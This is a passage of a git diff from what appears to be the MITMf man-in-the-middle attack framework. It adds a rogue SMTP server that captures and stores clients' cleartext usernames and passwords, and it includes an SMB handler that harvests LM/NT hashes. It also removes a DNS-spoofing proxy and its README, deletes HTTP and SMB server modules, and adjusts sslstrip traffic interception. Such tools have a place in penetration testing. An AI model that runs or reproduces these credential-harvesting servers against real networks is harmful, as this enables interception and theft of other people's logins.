Is_LMNT_Anonymous(data): + head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Packet = str(head)+str(SMBSessEmpty()) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + self.request.send(Buffer) + + else: + ParseLMNTHash(data,self.client_address[0]) + head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Packet = str(head)+str(SMBSessEmpty()) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + self.request.send(Buffer) + data = self.request.recv(1024) + + except Exception: + self.request.close() + pass diff --git a/core/servers/SMTP.py b/core/servers/SMTP.py new file mode 100644 index 0000000..aeb3111 --- /dev/null +++ b/core/servers/SMTP.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import os +import settings + +from utils import * +from base64 import b64decode, b64encode +from SocketServer import BaseRequestHandler +from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 + +# ESMTP Server class +class ESMTP(BaseRequestHandler): + + def handle(self): + try: + self.request.send(str(SMTPGreeting())) + data = self.request.recv(1024) + + if data[0:4] == "EHLO": + self.request.send(str(SMTPAUTH())) + data = self.request.recv(1024) + + if data[0:4] == "AUTH": + self.request.send(str(SMTPAUTH1())) + data = self.request.recv(1024) + + if data: + try: + User = filter(None, b64decode(data).split('\x00')) + Username = User[0] + Password = User[1] + except: + Username = b64decode(data) + + self.request.send(str(SMTPAUTH2())) + data = self.request.recv(1024) + + if data: + try: Password = b64decode(data) + except: Password = data + + SaveToDb({ + 'module': 'SMTP', + 'type': 'Cleartext', + 'client': self.client_address[0], + 'user': Username, + 'cleartext': Password, + 'fullhash': Username+":"+Password, + }) + + except Exception: + pass \ No newline at end of file diff --git a/core/servers/dns/CHANGELOG b/core/servers/dns/CHANGELOG deleted file mode 100644 index 727a7d7..0000000 --- a/core/servers/dns/CHANGELOG +++ /dev/null @@ -1,29 +0,0 @@ -Version 0.3 - -* Added support for the latest version of the dnslib library - 0.9.3 -* Added support for logging. (idea by kafeine) -* Added support for SRV, DNSKEY, and RRSIG records. (idea by mubix) -* Added support for TCP remote nameserver connections. (idea by mubix) -* DNS name matching is now case insensitive. -* Various small bug fixes and performance tweaks. -* Python libraries are no longer bundled with the distribution, but - compiled in the Windows binary. - -Version 0.2.1 - -* Fixed a Python 2.6 compatibility issue. (thanks Mehran Goudarzi) - -Version 0.2 - -* Added IPv6 support. -* Added AAAA, MX, CNAME, NS, SOA and NAPTR support. -* Added support for ANY queries (returns all known fake records). -* Changed file format to support more DNS record types. -* Added alternative DNS port support (contributed by fnv). -* Added alternative listening port support for the server (contributed by Mark Straver). -* Updated bundled dnslib library to the latest version - 0.8.2. -* Included IPy library for IPv6 support. - -Version 0.1 - -* First public release diff --git a/core/servers/dns/LICENSE b/core/servers/dns/LICENSE deleted file mode 100644 index b826757..0000000 --- a/core/servers/dns/LICENSE +++ /dev/null @@ -1,25 +0,0 @@ -Copyright (C) 2014 Peter Kacherginsky -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -1. Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. -2. Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. -3. Neither the name of the copyright holder nor the names of its contributors - may be used to endorse or promote products derived from this software without - specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/core/servers/dns/README.md b/core/servers/dns/README.md deleted file mode 100644 index 589a274..0000000 --- a/core/servers/dns/README.md +++ /dev/null @@ -1,339 +0,0 @@ -DNSChef -======= - -The latest version of this document can be obtained from http://thesprawl.org/projects/dnschef/ - -DNSChef is a highly configurable DNS proxy for Penetration Testers and Malware Analysts. A DNS proxy (aka "Fake DNS") is a tool used for application network traffic analysis among other uses. For example, a DNS proxy can be used to fake requests for "badguy.com" to point to a local machine for termination or interception instead of a real host somewhere on the Internet. - -There are several DNS Proxies out there. Most will simply point all DNS queries a single IP address or implement only rudimentary filtering. DNSChef was developed as part of a penetration test where there was a need for a more configurable system. As a result, DNSChef is cross-platform application capable of forging responses based on inclusive and exclusive domain lists, supporting multiple DNS record types, matching domains with wildcards, proxying true responses for nonmatching domains, defining external configuration files, IPv6 and many other features. You can find detailed explanation of each of the features and suggested uses below. - -The use of DNS Proxy is recommended in situations where it is not possible to force an application to use some other proxy server directly. For example, some mobile applications completely ignore OS HTTP Proxy settings. In these cases, the use of a DNS proxy server such as DNSChef will allow you to trick that application into forwarding connections to the desired destination. - -Setting up a DNS Proxy -====================== - -Before you can start using DNSChef, you must configure your machine to use a DNS nameserver with the tool running on it. You have several options based on the operating system you are going to use: - -* **Linux** - Edit */etc/resolv.conf* to include a line on the very top with your traffic analysis host (e.g add "nameserver 127.0.0.1" if you are running locally). Alternatively, you can add a DNS server address using tools such as Network Manager. Inside the Network Manager open IPv4 Settings, select *Automatic (DHCP) addresses only* or *Manual* from the *Method* drop down box and edit *DNS Servers* text box to include an IP address with DNSChef running. - -* **Windows** - Select *Network Connections* from the *Control Panel*. Next select one of the connections (e.g. "Local Area Connection"), right-click on it and select properties. From within a newly appearing dialog box, select *Internet Protocol (TCP/IP)* and click on properties. At last select *Use the following DNS server addresses* radio button and enter the IP address with DNSChef running. For example, if running locally enter 127.0.0.1. - -* **OS X** - Open *System Preferences* and click on the *Network* icon. Select the active interface and fill in the *DNS Server* field. If you are using Airport then you will have to click on *Advanced...* button and edit DNS servers from there. Alternatively, you can edit */etc/resolv.conf* and add a fake nameserver to the very top there (e.g "nameserver 127.0.0.1"). - -* **iOS** - Open *Settings* and select *General*. Next select on *Wi-Fi* and click on a blue arrow to the right of an active Access Point from the list. Edit DNS entry to point to the host with DNSChef running. Make sure you have disabled Cellular interface (if available). - -* **Android** - Open *Settings* and select *Wireless and network*. Click on *Wi-Fi settings* and select *Advanced* after pressing the *Options* button on the phone. Enable *Use static IP* checkbox and configure a custom DNS server. - -If you do not have the ability to modify device's DNS settings manually, then you still have several options involving techniques such as [ARP Spoofing](http://en.wikipedia.org/wiki/ARP_spoofing), [Rogue DHCP](http://www.yersinia.net/doc.htm) and other creative methods. - -At last you need to configure a fake service where DNSChef will point all of the requests. For example, if you are trying to intercept web traffic, you must bring up either a separate web server running on port 80 or set up a web proxy (e.g. Burp) to intercept traffic. DNSChef will point queries to your proxy/server host with properly configured services. - -Running DNSChef -=============== - -DNSChef is a cross-platform application developed in Python which should run on most platforms which have a Python interpreter. You can use the supplied *dnschef.exe* executable to run it on Windows hosts without installing a Python interpreter. This guide will concentrate on Unix environments; however, all of the examples below were tested to work on Windows as well. - -Let's get a taste of DNSChef with its most basic monitoring functionality. Execute the following command as root (required to start a server on port 53): - - # ./dnschef.py - - _ _ __ - | | version 0.2 | | / _| - __| |_ __ ___ ___| |__ ___| |_ - / _` | '_ \/ __|/ __| '_ \ / _ \ _| - | (_| | | | \__ \ (__| | | | __/ | - \__,_|_| |_|___/\___|_| |_|\___|_| - iphelix@thesprawl.org - - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [*] No parameters were specified. Running in full proxy mode - - -Without any parameters, DNSChef will run in full proxy mode. This means that all requests will simply be forwarded to an upstream DNS server (8.8.8.8 by default) and returned back to the quering host. For example, let's query an "A" record for a domain and observe results: - - $ host -t A thesprawl.org - thesprawl.org has address 108.59.3.64 - -DNSChef will print the following log line showing time, source IP address, type of record requested and most importantly which name was queried: - - [23:54:03] 127.0.0.1: proxying the response of type 'A' for thesprawl.org - -This mode is useful for simple application monitoring where you need to figure out which domains it uses for its communications. - -DNSChef has full support for IPv6 which can be activated using *-6* or *--ipv6** flags. It works exactly as IPv4 mode with the exception that default listening interface is switched to ::1 and default DNS server is switched to 2001:4860:4860::8888. Here is a sample output: - - # ./dnschef.py -6 - _ _ __ - | | version 0.2 | | / _| - __| |_ __ ___ ___| |__ ___| |_ - / _` | '_ \/ __|/ __| '_ \ / _ \ _| - | (_| | | | \__ \ (__| | | | __/ | - \__,_|_| |_|___/\___|_| |_|\___|_| - iphelix@thesprawl.org - - [*] Using IPv6 mode. - [*] DNSChef started on interface: ::1 - [*] Using the following nameservers: 2001:4860:4860::8888 - [*] No parameters were specified. Running in full proxy mode - [00:35:44] ::1: proxying the response of type 'A' for thesprawl.org - [00:35:44] ::1: proxying the response of type 'AAAA' for thesprawl.org - [00:35:44] ::1: proxying the response of type 'MX' for thesprawl.org - -NOTE: By default, DNSChef creates a UDP listener. You can use TCP instead with the *--tcp* argument discussed later. - -Intercept all responses ------------------------ - -Now, that you know how to start DNSChef let's configure it to fake all replies to point to 127.0.0.1 using the *--fakeip* parameter: - - # ./dnschef.py --fakeip 127.0.0.1 -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [*] Cooking all A replies to point to 127.0.0.1 - [23:55:57] 127.0.0.1: cooking the response of type 'A' for google.com to 127.0.0.1 - [23:55:57] 127.0.0.1: proxying the response of type 'AAAA' for google.com - [23:55:57] 127.0.0.1: proxying the response of type 'MX' for google.com - -In the above output you an see that DNSChef was configured to proxy all requests to 127.0.0.1. The first line of log at 08:11:23 shows that we have "cooked" the "A" record response to point to 127.0.0.1. However, further requests for 'AAAA' and 'MX' records are simply proxied from a real DNS server. Let's see the output from requesting program: - - $ host google.com localhost - google.com has address 127.0.0.1 - google.com has IPv6 address 2001:4860:4001:803::1001 - google.com mail is handled by 10 aspmx.l.google.com. - google.com mail is handled by 40 alt3.aspmx.l.google.com. - google.com mail is handled by 30 alt2.aspmx.l.google.com. - google.com mail is handled by 20 alt1.aspmx.l.google.com. - google.com mail is handled by 50 alt4.aspmx.l.google.com. - -As you can see the program was tricked to use 127.0.0.1 for the IPv4 address. However, the information obtained from IPv6 (AAAA) and mail (MX) records appears completely legitimate. The goal of DNSChef is to have the least impact on the correct operation of the program, so if an application relies on a specific mailserver it will correctly obtain one through this proxied request. - -Let's fake one more request to illustrate how to target multiple records at the same time: - - # ./dnschef.py --fakeip 127.0.0.1 --fakeipv6 ::1 -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [*] Cooking all A replies to point to 127.0.0.1 - [*] Cooking all AAAA replies to point to ::1 - [00:02:14] 127.0.0.1: cooking the response of type 'A' for google.com to 127.0.0.1 - [00:02:14] 127.0.0.1: cooking the response of type 'AAAA' for google.com to ::1 - [00:02:14] 127.0.0.1: proxying the response of type 'MX' for google.com - -In addition to the --fakeip flag, I have now specified --fakeipv6 designed to fake 'AAAA' record queries. Here is an updated program output: - - $ host google.com localhost - google.com has address 127.0.0.1 - google.com has IPv6 address ::1 - google.com mail is handled by 10 aspmx.l.google.com. - google.com mail is handled by 40 alt3.aspmx.l.google.com. - google.com mail is handled by 30 alt2.aspmx.l.google.com. - google.com mail is handled by 20 alt1.aspmx.l.google.com. - google.com mail is handled by 50 alt4.aspmx.l.google.com. - -Once more all of the records not explicitly overriden by the application were proxied and returned from the real DNS server. However, IPv4 (A) and IPv6 (AAAA) were both faked to point to a local machine. - -DNSChef supports multiple record types: - - +--------+--------------+-----------+--------------------------+ - | Record | Description |Argument | Example | - +--------+--------------+-----------+--------------------------+ - | A | IPv4 address |--fakeip | --fakeip 192.0.2.1 | - | AAAA | IPv6 address |--fakeipv6 | --fakeipv6 2001:db8::1 | - | MX | Mail server |--fakemail | --fakemail mail.fake.com | - | CNAME | CNAME record |--fakealias| --fakealias www.fake.com | - | NS | Name server |--fakens | --fakens ns.fake.com | - +--------+--------------+-----------+--------------------------+ - -NOTE: For usability not all DNS record types are exposed on the command line. Additional records such as PTR, TXT, SOA, etc. can be specified using the --file flag and an appropriate record header. See the [external definitions file](#external-definitions-file) section below for details. - -At last let's observe how the application handles queries of type ANY: - - # ./dnschef.py --fakeip 127.0.0.1 --fakeipv6 ::1 --fakemail mail.fake.com --fakealias www.fake.com --fakens ns.fake.com -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [*] Cooking all A replies to point to 127.0.0.1 - [*] Cooking all AAAA replies to point to ::1 - [*] Cooking all MX replies to point to mail.fake.com - [*] Cooking all CNAME replies to point to www.fake.com - [*] Cooking all NS replies to point to ns.fake.com - [00:17:29] 127.0.0.1: cooking the response of type 'ANY' for google.com with all known fake records. - -DNS ANY record queries results in DNSChef returning every faked record that it knows about for an applicable domain. Here is the output that the program will see: - - $ host -t ANY google.com localhost - google.com has address 127.0.0.1 - google.com has IPv6 address ::1 - google.com mail is handled by 10 mail.fake.com. - google.com is an alias for www.fake.com. - google.com name server ns.fake.com. - -Filtering domains ------------------ - -Using the above example, consider you only want to intercept requests for *thesprawl.org* and leave queries to all other domains such as *webfaction.com* without modification. You can use the *--fakedomains* parameter as illustrated below: - - # ./dnschef.py --fakeip 127.0.0.1 --fakedomains thesprawl.org -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [*] Cooking replies to point to 127.0.0.1 matching: thesprawl.org - [00:23:37] 127.0.0.1: cooking the response of type 'A' for thesprawl.org to 127.0.0.1 - [00:23:52] 127.0.0.1: proxying the response of type 'A' for mx9.webfaction.com - -From the above example the request for *thesprawl.org* was faked; however, the request for *mx9.webfaction.com* was left alone. Filtering domains is very useful when you attempt to isolate a single application without breaking the rest. - -NOTE: DNSChef will not verify whether the domain exists or not before faking the response. If you have specified a domain it will always resolve to a fake value whether it really exists or not. - -Reverse filtering ------------------ - -In another situation you may need to fake responses for all requests except a defined list of domains. You can accomplish this task using the *--truedomains* parameter as follows: - - # ./dnschef.py --fakeip 127.0.0.1 --truedomains thesprawl.org,*.webfaction.com -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [*] Cooking replies to point to 127.0.0.1 not matching: *.webfaction.com, thesprawl.org - [00:27:57] 127.0.0.1: proxying the response of type 'A' for mx9.webfaction.com - [00:28:05] 127.0.0.1: cooking the response of type 'A' for google.com to 127.0.0.1 - -There are several things going on in the above example. First notice the use of a wildcard (*). All domains matching *.webfaction.com will be reverse matched and resolved to their true values. The request for 'google.com' returned 127.0.0.1 because it was not on the list of excluded domains. - -NOTE: Wildcards are position specific. A mask of type *.thesprawl.org will match www.thesprawl.org but not www.test.thesprawl.org. However, a mask of type *.*.thesprawl.org will match thesprawl.org, www.thesprawl.org and www.test.thesprawl.org. - -External definitions file -------------------------- - -There may be situations where defining a single fake DNS record for all matching domains may not be sufficient. You can use an external file with a collection of DOMAIN=RECORD pairs defining exactly where you want the request to go. - -For example, let create the following definitions file and call it *dnschef.ini*: - - [A] - *.google.com=192.0.2.1 - thesprawl.org=192.0.2.2 - *.wordpress.*=192.0.2.3 - -Notice the section header [A], it defines the record type to DNSChef. Now let's carefully observe the output of multiple queries: - - # ./dnschef.py --file dnschef.ini -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [+] Cooking A replies for domain *.google.com with '192.0.2.1' - [+] Cooking A replies for domain thesprawl.org with '192.0.2.2' - [+] Cooking A replies for domain *.wordpress.* with '192.0.2.3' - [00:43:54] 127.0.0.1: cooking the response of type 'A' for google.com to 192.0.2.1 - [00:44:05] 127.0.0.1: cooking the response of type 'A' for www.google.com to 192.0.2.1 - [00:44:19] 127.0.0.1: cooking the response of type 'A' for thesprawl.org to 192.0.2.2 - [00:44:29] 127.0.0.1: proxying the response of type 'A' for www.thesprawl.org - [00:44:40] 127.0.0.1: cooking the response of type 'A' for www.wordpress.org to 192.0.2.3 - [00:44:51] 127.0.0.1: cooking the response of type 'A' for wordpress.com to 192.0.2.3 - [00:45:02] 127.0.0.1: proxying the response of type 'A' for slashdot.org - -Both *google.com* and *www.google.com* matched the *\*.google.com* entry and correctly resolved to *192.0.2.1*. On the other hand *www.thesprawl.org* request was simply proxied instead of being modified. At last all variations of *wordpress.com*, *www.wordpress.org*, etc. matched the *\*.wordpress.\** mask and correctly resolved to *192.0.2.3*. At last an undefined *slashdot.org* query was simply proxied with a real response. - -You can specify section headers for all other supported DNS record types including the ones not explicitly exposed on the command line: [A], [AAAA], [MX], [NS], [CNAME], [PTR], [NAPTR] and [SOA]. For example, let's define a new [PTR] section in the 'dnschef.ini' file: - - [PTR] - *.2.0.192.in-addr.arpa=fake.com - -Let's observe DNSChef's behavior with this new record type: - - ./dnschef.py --file dnschef.ini -q - [sudo] password for iphelix: - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [+] Cooking PTR replies for domain *.2.0.192.in-addr.arpa with 'fake.com' - [00:11:34] 127.0.0.1: cooking the response of type 'PTR' for 1.2.0.192.in-addr.arpa to fake.com - -And here is what a client might see when performing reverse DNS queries: - - $ host 192.0.2.1 localhost - 1.2.0.192.in-addr.arpa domain name pointer fake.com. - -Some records require exact formatting. Good examples are SOA and NAPTR - - [SOA] - *.thesprawl.org=ns.fake.com. hostmaster.fake.com. 1 10800 3600 604800 3600 - - [NAPTR] - *.thesprawl.org=100 10 U E2U+sip !^.*$!sip:customer-service@fake.com! . - -See sample dnschef.ini file for additional examples. - -Advanced Filtering ------------------- - -You can mix and match input from a file and command line. For example the following command uses both *--file* and *--fakedomains* parameters: - - # ./dnschef.py --file dnschef.ini --fakeip 6.6.6.6 --fakedomains=thesprawl.org,slashdot.org -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [+] Cooking A replies for domain *.google.com with '192.0.2.1' - [+] Cooking A replies for domain thesprawl.org with '192.0.2.2' - [+] Cooking A replies for domain *.wordpress.* with '192.0.2.3' - [*] Cooking A replies to point to 6.6.6.6 matching: *.wordpress.*, *.google.com, thesprawl.org - [*] Cooking A replies to point to 6.6.6.6 matching: slashdot.org, *.wordpress.*, *.google.com, thesprawl.org - [00:49:05] 127.0.0.1: cooking the response of type 'A' for google.com to 192.0.2.1 - [00:49:15] 127.0.0.1: cooking the response of type 'A' for slashdot.org to 6.6.6.6 - [00:49:31] 127.0.0.1: cooking the response of type 'A' for thesprawl.org to 6.6.6.6 - [00:50:08] 127.0.0.1: proxying the response of type 'A' for tor.com - -Notice the definition for *thesprawl.org* in the command line parameter took precedence over *dnschef.ini*. This could be useful if you want to override values in the configuration file. slashdot.org still resolves to the fake IP address because it was specified in the *--fakedomains* parameter. tor.com request is simply proxied since it was not specified in either command line or the configuration file. - -Other configurations -==================== - -For security reasons, DNSChef listens on a local 127.0.0.1 (or ::1 for IPv6) interface by default. You can make DNSChef listen on another interface using the *--interface* parameter: - - # ./dnschef.py --interface 0.0.0.0 -q - [*] DNSChef started on interface: 0.0.0.0 - [*] Using the following nameservers: 8.8.8.8 - [*] No parameters were specified. Running in full proxy mode - [00:50:53] 192.0.2.105: proxying the response of type 'A' for thesprawl.org - -or for IPv6: - - # ./dnschef.py -6 --interface :: -q - [*] Using IPv6 mode. - [*] DNSChef started on interface: :: - [*] Using the following nameservers: 2001:4860:4860::8888 - [*] No parameters were specified. Running in full proxy mode - [00:57:46] 2001:db8::105: proxying the response of type 'A' for thesprawl.org - -By default, DNSChef uses Google's public DNS server to make proxy requests. However, you can define a custom list of nameservers using the *--nameservers* parameter: - - # ./dnschef.py --nameservers 4.2.2.1,4.2.2.2 -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 4.2.2.1, 4.2.2.2 - [*] No parameters were specified. Running in full proxy mode - [00:55:08] 127.0.0.1: proxying the response of type 'A' for thesprawl.org - -It is possible to specify non-standard nameserver port using IP#PORT notation: - - # ./dnschef.py --nameservers 192.0.2.2#5353 -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 192.0.2.2#5353 - [*] No parameters were specified. Running in full proxy mode - [02:03:12] 127.0.0.1: proxying the response of type 'A' for thesprawl.org - -At the same time it is possible to start DNSChef itself on an alternative port using the *-p port#* parameter: - - # ./dnschef.py -p 5353 -q - [*] Listening on an alternative port 5353 - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [*] No parameters were specified. Running in full proxy mode - -DNS protocol can be used over UDP (default) or TCP. DNSChef implements a TCP mode which can be activated with the *--tcp* flag. - -Internal architecture -===================== - -Here is some information on the internals in case you need to adapt the tool for your needs. DNSChef is built on top of the SocketServer module and uses threading to help process multiple requests simultaneously. The tool is designed to listen on TCP or UDP ports (default is port 53) for incoming requests and forward those requests when necessary to a real DNS server over UDP. - -The excellent [dnslib library](https://bitbucket.org/paulc/dnslib/wiki/Home) is used to dissect and reassemble DNS packets. It is particularly useful when generating response packets based on queries. [IPy](https://github.com/haypo/python-ipy/) is used for IPv6 addresses manipulation. Both libraries come bundled with DNSChef to ease installation. - -DNSChef is capable of modifing queries for records of type "A", "AAAA", "MX", "CNAME", "NS", "TXT", "PTR", "NAPTR", "SOA", "ANY". It is very easy to expand or modify behavior for any record. Simply add another **if qtype == "RECORD TYPE")** entry and tell it what to reply with. - -Enjoy the tool and forward all requests and comments to iphelix [at] thesprawl.org. - -Happy hacking! - -Peter diff --git a/core/servers/dns/__init__.py b/core/servers/dns/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/servers/http/HTTPserver.py b/core/servers/http/HTTPserver.py deleted file mode 100644 index 28f3396..0000000 --- a/core/servers/http/HTTPserver.py +++ /dev/null @@ -1,64 +0,0 @@ -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# -import logging -import threading -import sys - -from core.utils import shutdown -from core.configwatcher import ConfigWatcher -from flask import Flask - -class HTTPserver(ConfigWatcher): - - server = Flask("HTTPserver") - func_list = [] - - __shared_state = {} - - def __init__(self): - self.__dict__ = self.__shared_state - - def start_flask(self): - - @self.server.route('/', defaults={'path': '/'}) - @self.server.route('/') - def catch_all(path): - for func in self.func_list: - resp = func(path) - if resp: - return resp - return path - - self.server.run(debug=False, host='0.0.0.0', port=int(self.config['MITMf']['HTTP']['port'])) - - def start(self): - self.setup_http_logger() - server_thread = threading.Thread(name='HTTPserver', target=self.start_flask) - server_thread.setDaemon(True) - server_thread.start() - - def add_endpoint(self, function): - self.func_list.append(function) - - def setup_http_logger(self): - formatter = logging.Formatter("%(asctime)s [HTTP] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") - flask_logger = logging.getLogger('werkzeug') - flask_logger.propagate = False - fileHandler = logging.FileHandler("./logs/mitmf.log") - fileHandler.setFormatter(formatter) - flask_logger.addHandler(fileHandler) diff --git a/core/servers/http/__init__.py b/core/servers/http/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/servers/smb/SMBserver.py b/core/servers/smb/SMBserver.py deleted file mode 100644 index 0d238ca..0000000 --- a/core/servers/smb/SMBserver.py +++ /dev/null @@ -1,76 +0,0 @@ -import logging -import sys -import threading -import os - -from socket import error as socketerror -from mitmflib.impacket import version, smbserver, LOG -from core.servers.smb.KarmaSMB import KarmaSMBServer -from core.configwatcher import ConfigWatcher -from core.utils import shutdown - -class SMBserver(ConfigWatcher): - - __shared_state = {} - - def __init__(self): - self.__dict__ = self.__shared_state - - self.version = version.VER_MINOR - self.mode = self.config["MITMf"]["SMB"]["mode"].lower() - self.challenge = self.config["MITMf"]["SMB"]["Challenge"] - self.port = int(self.config["MITMf"]["SMB"]["port"]) - - def server(self): - try: - if self.mode == 'normal': - - formatter = logging.Formatter("%(asctime)s [SMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") - self.conf_impacket_logger(formatter) - - server = smbserver.SimpleSMBServer(listenPort=self.port) - - for share in self.config["MITMf"]["SMB"]["Shares"]: - path = self.config["MITMf"]["SMB"]["Shares"][share]['path'] - readonly = self.config["MITMf"]["SMB"]["Shares"][share]['readonly'].lower() - server.addShare(share.upper(), path, readOnly=readonly) - - server.setSMBChallenge(self.challenge) - server.setLogFile('') - - elif self.mode == 'karma': - - formatter = logging.Formatter("%(asctime)s [KarmaSMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") - self.conf_impacket_logger(formatter) - - server = KarmaSMBServer(self.challenge, self.port) - server.defaultFile = self.config["MITMf"]["SMB"]["Karma"]["defaultfile"] - - for extension, path in self.config["MITMf"]["SMB"]["Karma"].iteritems(): - server.extensions[extension.upper()] = os.path.normpath(path) - - else: - shutdown("\n[-] Invalid SMB server type specified in config file!") - - return server - - except socketerror as e: - if "Address already in use" in e: - shutdown("\n[-] Unable to start SMB server on port {}: port already in use".format(self.port)) - - def conf_impacket_logger(self, formatter): - - LOG.setLevel(logging.INFO) - LOG.propagate = False - - fileHandler = logging.FileHandler("./logs/mitmf.log") - streamHandler = logging.StreamHandler(sys.stdout) - fileHandler.setFormatter(formatter) - streamHandler.setFormatter(formatter) - LOG.addHandler(fileHandler) - LOG.addHandler(streamHandler) - - def start(self): - t = threading.Thread(name='SMBserver', target=self.server().start) - t.setDaemon(True) - t.start() diff --git a/core/servers/smb/__init__.py b/core/servers/smb/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index 681e15a..3ed9a11 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -202,16 +202,17 @@ class ClientRequest(Request): return reactor.resolve(host) def process(self): - log.debug("Resolving host: {}".format(self.getHeader('host'))) - host = self.getHeader('host').split(":")[0] + if self.getHeader('host') is not None: + log.debug("Resolving host: {}".format(self.getHeader('host'))) + host = self.getHeader('host').split(":")[0] - if self.hsts: - host = self.urlMonitor.URLgetRealHost(str(host)) + if self.hsts: + host = self.urlMonitor.URLgetRealHost(str(host)) + + deferred = self.resolveHost(host) + deferred.addCallback(self.handleHostResolvedSuccess) + deferred.addErrback(self.handleHostResolvedError) - deferred = self.resolveHost(host) - deferred.addCallback(self.handleHostResolvedSuccess) - deferred.addErrback(self.handleHostResolvedError) - def proxyViaHTTP(self, host, method, path, postData, headers, port): connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) connectionFactory.protocol = ServerConnection diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 3051696..a9a7588 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -28,7 +28,7 @@ import sys from mitmflib.user_agents import parse from twisted.web.http import HTTPClient from URLMonitor import URLMonitor -from core.sergioproxy.ProxyPlugins import ProxyPlugins +from core.proxyplugins import ProxyPlugins from core.logger import logger formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") diff --git a/core/utils.py b/core/utils.py index d5ca410..e63862f 100644 --- a/core/utils.py +++ b/core/utils.py @@ -23,7 +23,7 @@ import sys from commands import getstatusoutput from core.logger import logger -from core.sergioproxy.ProxyPlugins import ProxyPlugins +from core.proxyplugins import ProxyPlugins from scapy.all import get_if_addr, get_if_hwaddr, get_working_if formatter = logging.Formatter("%(asctime)s [Utils] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") @@ -105,4 +105,4 @@ class iptables: def NFQUEUE(self): log.debug("Setting iptables NFQUEUE rule") os.system('iptables -t nat -A PREROUTING -j NFQUEUE --queue-num 1') - self.nfqueue = True + self.nfqueue = True \ No newline at end of file diff --git a/mitmf.py b/mitmf.py index 5f8e0a8..cc4bb5b 100755 --- a/mitmf.py +++ b/mitmf.py @@ -22,13 +22,12 @@ import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy 